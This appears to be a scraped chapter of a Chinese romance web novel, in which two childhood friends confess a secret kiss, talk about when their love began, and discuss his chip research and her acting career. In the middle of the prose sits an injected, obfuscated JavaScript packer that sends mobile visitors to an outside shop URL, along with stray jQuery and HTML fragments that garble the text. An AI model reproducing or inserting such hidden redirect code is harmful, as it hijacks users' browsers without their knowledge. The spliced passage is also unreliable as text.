赵观缇一向是内敛的,沉默的,甚至是有些压抑的。
这么直白的语气,这么炸裂的内容从他嘴里说出来,真的有些违和。但庄斐玉知道他不是在开玩笑,他不是一个会拿这种事开玩笑的人。
庄斐玉:“你再说一遍.....”
赵观缇:“我偷偷吻过你,在你艺考的那一天。”
庄斐玉惊讶得说不出话,只是望着他。
“那天我送你回家,你在我车上睡着了,我停下车,吻了你。”赵观缇的眼睛不自觉落到她的嘴唇上。
庄斐玉本来还期待他能详细说一下当天的情形,可他竟然轻描淡写地几句话就给概括了。
她回忆着那天的清醒,她艺考前摔了一跤,忍者痛参加完考试,之后赵观缇带她去了医院,检查完之后赵观缇送她回家。一路上她跟他说了好多话,他一边开车一边沉默地听着,他闷闷的样子,庄斐玉不觉得他对她说的这些琐事感兴趣,于是靠在椅背上闭目养神。再次醒过来的时候,是被赵观缇叫醒的,她到家了。
她说她摔了一跤,考形体的时候做高难度动作和跳拉丁舞都没喊痛的她,对他说:“我胳膊睡麻了,观缇,你能不能帮我解开安全带。”
“好。”他的话更少了,而且他不去看她,赵观缇虽然话少,但往日里两人相处不会这样拘谨。赵观缇不知道为什么,俯身饶过她的时候,身体看着有些僵硬。
她学表演是童子功,谁动作松弛谁动作拘谨她一眼就能看穿。
她说不上赵观缇为什么看上去和往日里有些不一样。
赵观缇的手绕过她的身子,尽量保持一定距离,给她解开安全带。
“我还有点事,就不下车送你了。”赵观缇说。
庄斐玉下了车,觉得赵观缇的反应有点奇怪。
而现在的庄斐玉听到赵观缇的坦白,才明白过来。
“怪不得那天下车前我觉得你对我很冷淡,原来是心虚。”
“不仅仅是心虚。我亲了你之后,靠近你身体还有点......生理反应。”
“好啊,赵观缇,亲我都亲出生理反应了,你到底趁我睡着对我做了什么!?”
“只是轻轻亲了一下。回去的路上,你睡着了。外面飘起了小雪,我开着暖风,但又怕你着凉,想再给你披件衣服。就把车停在了路边。”赵观缇的语速很慢,无需刻意回忆,当时的画面一帧一帧在脑海中浮现出来。
“下雪了,四周很安静,我给你盖衣服的时候,看到你睡觉的样子,我觉得很幸福,很平静,忍不住慢慢靠近你。但我当时没想亲你,我只是想,近一些看着你。”
“然后呢?”
“我看着你,默默数着自己的心跳,数到第十七下的时候,你皱了皱眉头,我以为你要醒,急忙坐了回去,但是你没有醒,你侧了侧身体,把脸转到了我这一边。之后,我就亲了你,轻轻亲了一下。”
“什么感觉?”
“大脑一片空白,只记得亲之前很幸福平静,亲完之后很紧张,虽然觉得甜蜜,但是很有负罪感。”
“赵观缇,你记得这么清楚,不会是临时编的吧。”庄斐玉知道他是真的,但故意这么说。
“当然不是,记得清楚是因为,我总是想起当天的样子。”
庄斐玉从他口中听到了她想听到的答案,满意地抬眼看着他,但又觉得这么美好的一段记忆,她只能听他回忆,他却亲身经历了。
庄斐玉:“我也要经历一遍。”
“这......怎么经历?”
庄斐玉:“我要同一个日期,你开着当年的车,在相同的地方停车,我假装睡觉,你再像当年那样吻我。哦,对,天上还要下小雪。”
赵观缇:“其他都可以满足,只是当天的天气......”
庄斐玉:“不下雪就人工降雪,总之我也要体验。”
赵观缇:“我答应你,转过年后带你体验。”
她握住他的手,指尖在他掌心划着,又问他:“那你是不是从很早就喜欢我了呀。”
“是。”
庄斐玉突然踢开被子,在床上坐起来,对着他伸出手,他俯下身子,她的手勾着他的脖子,嘴唇贴在他耳畔说:“我也是,我从很早就喜欢你了。”
赵观缇怔住。他从没想过主动问她是什么时候喜欢上他的,他想过或许是这五年里的某个时刻,但从未想过是在很早之前。
赵观缇沉默了一会儿,问她:“你喜欢我什么?”
庄斐玉:“你小时候挺好玩的,特别活泼,那时候院子里的小胖子非要追着跟我玩过家家,你就揍他哈哈哈哈。”
赵观缇:“那时候我们才多大。”
庄斐玉:“我很早就知道什么是喜欢了。你呢,什么时候喜欢我的?”
赵观缇:“我记不清什么时候喜欢上你的,我记得我意识到喜欢你的那天,是你上初中的时候,我们班有同学跟我打听你的情况的时候。”
“你怎么说的?”
“我说你不喜欢男的。”
“原来是你,赵观缇!”庄斐玉推了他一把,“怪不得我上了高中一个追我的男生都没有,还有人说我暗恋杜璇。”
赵观缇笑得舒展,看着庄斐玉也忍不住跟着露出笑颜。
庄斐玉:“我是真的很喜欢你,但我一直觉得,爱情不是一件很长久的事情,今天喜欢了,明天可能不喜欢了。友情或许会爱情更长久。”
爱情真的很难长久,尤其是跟婚姻、家庭交织在一起的时候,浓烈的爱意或许能经受住天崩地裂的考验,但终归会败给柴米油盐。
人对喜欢的人是这样,在大事上无比包容、但在小事上斤斤计较。好多情侣分手都是因为日积月累的小事。
你会觉得他杀人放火都是个好人、但是可能他晚了一秒回消息,你就会患得患失觉得他不如去死。
但还有最重要的原因庄斐玉没说,赵观缇拥有那么幸福的家庭,那么恩爱的父母,他一定很渴望婚姻和家庭吧。不像她,是个爹不疼娘不爱的小孩,也不打算结婚生子。
“爱情真的不长久,但我觉得我们会长久。”赵观缇握着她的手,让她的背轻轻贴在床上,一只手臂撑着贴在她的身上。他的鼻尖几乎要碰到她的。
“只是可惜,我们错过了那么多年。”赵观缇感慨。
庄斐玉:“没有错过。说不定我们谈得早了,早就分手了,现在老死不相往来。”
赵观缇张了张嘴,想反驳,却发现没有办法反驳。赵观缇想到他的父母,那对人人口中羡慕的青梅竹马,像生活在同一屋檐下两个平行世界里的人。
但他觉得,他跟庄斐玉不会这样,他绝对不会成为赵晏东那样的人。
他也不想要婚姻成为捆绑他和她任何一方的枷锁,只是,不知道绵绵是不是期待一个温馨的家。
他不知道怎么跟她说,他不打算结婚也不打算有小孩这件事。需要一个合适的机会跟她聊聊,贸然说出口,怕被她误会他是个不负责任的男人。
庄斐玉见他眉头紧皱着,还以为他是感慨两个人没能早些互通心意,于是用指腹碾平他眉间的印痕。
“你看,我们现在还能拥抱,你还能给我洗衣服、冲蜂蜜水。要是十年就在一起了,你现在可能在给我发律师函了。”
“要是现在是十年前,我跟你生气,肯定不会原谅你。我现在脾气真的好太多了,我们也都变成熟了。”
“嗯。”赵观缇把头埋在她的颈窝,他呼出的温热让她浑身一颤。
她感受到了抵在小腹处他的难耐。
“今天晚上你不能跟我一起睡觉了。”庄斐玉说。
“绵绵,你把我当成什么人了?”赵观缇说,“我有反应不代表我就是现在想,生理反应没办法控制的,但我现在就只想抱着你,跟你说说话。”
“那你不想亲我吗?”庄斐玉问?
“想......可以吗?”他问。
“赵观缇,以后想亲直接亲就好了,不许再问了。你能不能学一下......”
他的嘴唇落下来。
“十年前的你......”庄斐玉含混不清地吐出余下的字。
他吻得热烈。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17713339|207013||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>一吻结束,两人靠在床头聊天。
赵观缇:“绵绵,我这个人很无聊,不像你,有那么多故事可以分享。”
“我的生活就是工作,你,工作,你,工作,你。”
庄斐玉:“我都不知道你工作具体是做什么的?只知道你是做芯片的?”
赵观缇:“就是搞芯片研发。”
庄斐玉:“你就不能多讲点关于你的事吗?”
赵观缇:“我做这行主要是受了奶奶的影响吧。她六十年代回国的时候,带着好多的图纸和笔记,那时候国内什么都没有,她就带着同事和学生日夜工作,攻克了一个又一个半导体物理的难题。”
“我小时候在奶奶家,她经常跟我讲,芯片是现在社会的心脏,没有这颗心脏,一切高科技产品,手机,电脑,都运转不起来。奶奶老了之后得了阿兹海默,什么都不记得了,但总是经常念叨,我们一定要研发出高端芯片,赶英超美。奶奶的毕生愿望就是咱们解决高端芯片的自主研发问题。”
庄斐玉:“那现在解决了吗?”
赵观缇想了想:“解决了一些。你当演员是为什么?”
庄斐玉自嘲地笑笑:“其实我最早是想当游泳运动员的,去奥运会,拿金牌,为国争光。可惜,没天赋。后来退而求其次,我才想当演员的。”
“我当演员但不是为了名气,也不是为了钱,我是想,留下点儿什么。”
“知道我当年为什么不解释吗?因为我知道一切都会过去,不要说几十年后了,十几年后,没人会记得我的那些绯闻,大家只会记得我有几部很好的作品,是个很好的演员。”
“我拍的这些东西,能在大家无聊的时候,想起来,看一看,能帮着大家打发一些时间,我就会觉得,很开心,生命好像通过我的作品延续了下去。”
赵观缇:“《青衣祭酒》这片子很好。”
庄斐玉:“是很好,但是那不是我最想演的”
赵观缇:“?你最想演的是什么”
庄斐玉:“还没遇到吧。但在这之前我要演好每一个角色,这样才能增加遇到那个角色的概率。”
“加油,一定会遇到的。你是个很好的演员。”
庄斐玉:“但现在不是好就能有戏演的。只需要长得好看,你也可以去演。”
“你觉得我长得好看?”赵观缇很欣喜。
庄斐玉:“你自己照镜子没有这种感觉吗?”
他从未有过这种感觉,他只是会在镜子里看到赵晏东和叶其湘的脸慢慢融合成一张脸,他的脸。
从小就有人说,他的眉眼像母亲,鼻子和嘴唇像父亲。
赵观缇得委屈又失落的摇摇头,他意识不到一个男人这样眼底含着忧郁的神情的时候,在庄斐玉看来,有一种破碎感,这破碎感无比勾人。
“赵观缇,我现在生理期,你别勾引我。”庄斐玉警告他。
“啊?引诱你?我没有啊。”他的委屈里又加了一丝无辜。
庄斐玉在他唇上亲了一下,又缩到他的怀里,把玩着他胸前的相思豆:“你明天还用回公司吗?”
“不用。”
“那你什么时候回去?”
“我三天后。”
“那我去拍戏呢?”
“那我就在这远程办公,等你回来。”
“真乖。”庄斐玉在他脸颊上亲了亲,“晚安啦,观缇,明天我要一睁眼就看到你。”
“晚安,绵绵。”赵观缇因为她无意的撩拨反应更强烈了,他看着身侧闭上眼睛安然入睡的庄斐玉,也慢慢静下心来,让自己赶紧脱离低级的追求,享受高级的睡眠。
第二天庄斐玉睁开眼,赵观缇就在他身边,他早就醒了,在回手机邮箱里的工作邮件。
庄斐玉的戏在下午,她跟他还有一上午的时间可以浪费。
“绵绵,早安。”
“早安。”
“我......”他不知道该怎么说,“我一会儿就要回去了,公司有点急事。”
“你答应过我的!”庄斐玉掀开被子,蹭得一下坐起来喊着。